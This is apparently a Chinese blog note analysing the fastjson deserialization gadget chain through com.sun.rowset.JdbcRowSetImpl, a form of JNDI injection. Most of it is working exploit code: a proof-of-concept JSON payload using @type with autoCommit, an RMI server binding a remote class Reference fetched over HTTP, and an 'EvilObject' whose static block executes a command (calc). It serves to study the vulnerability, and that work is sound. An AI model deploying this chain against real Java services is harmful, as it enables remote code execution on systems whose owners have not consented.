fastjson反序列化-JdbcRowSetImpl利用链

JdbcRowSetImpl利用链

fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs.com)

这里涉及了JNDI与RMI的概念。

其本质为JNDI注入。

附上示例代码

JdbcRowSetImplPoC.java

package org.lain.poc.poclist;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

/**
 * @author: ZH3FENG
 * @Date: 下午7:53 2017/12/11
 * @Modified By:
 * @Description: Gadget com.sun.rowset.JdbcRowSetImpl
 *
 *               setAutoCommit() -> connect() -> InitialContext.lookup()
 */
public class JdbcRowSetImplPoC {


    public static void testJdbcRowSetImpl(String dataSourceName){

        ParserConfig config = new ParserConfig();

        config.setAutoTypeSupport(true);//


        String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
                + "\"dataSourceName\":\"" + dataSourceName + "\","
                + "\"autoCommit\":\"true\"}";
        System.out.println(payload);

        try{
            JSONObject.parse(payload,config);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

RMIServer.java

package org.lain.poc.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author: lanqihe
 * @Date: 下午8:01 2017/12/11
 * @Modified By:
 * @Description: 本地注册一个register，并将恶意的类绑定
 */
public class RMIServer {


    public static void main(String argv[]) {

        try {
            Registry  registry =  LocateRegistry.createRegistry(1090);

            //如果通过rmi无法找到org.lain.poc.jndi.EvilObjectFactory，则尝试从factoryLocation 获取
            //因此，本地测试的话，如果factory正确，factoryLocation随便填
            //把一个对象绑定到rmi注册表中，这个对象需要继承UnicastRemoteObject，但是Reference没有继承它，所以我们还需要封装一下它，用 ReferenceWrapper 包裹一下Reference实例对象，这样就可以将其绑定到rmi注册表，并被远程访问到了
            Reference reference = new Reference("EvilObject",
                    "org.lain.poc.jndi.EvilObjectFactory",
                    "http://localhost:9999/" );


            //客户端通过evil查找，获取到EvilObject
            registry.bind("evil", new ReferenceWrapper(reference));

            System.out.println("Ready!");
            System.out.println("Waiting for connection......");

        } catch (Exception e) {
            System.out.println("RMIServer: " + e.getMessage());
            e.printStackTrace();
        }
    }
}

EvilObject.java

package org.lain.poc.jndi;


import java.io.IOException;

/**
 * @author: ZH3FENG
 * @Date: 上午10:18 2017/12/12
 * @Modified By:
 * @Description: 模拟一个恶意类，静态代码块执行命令
 */
public class EvilObject {


    public EvilObject(){
        System.out.println("Hi!");
    }
    /**
     * 简单的命令执行
     */
    static {
        try {
            Runtime.getRuntime().exec("calc");
        }catch (IOException e){
            //ignore
        }
    }
}

我们在JSONObject.parse方法下断点调试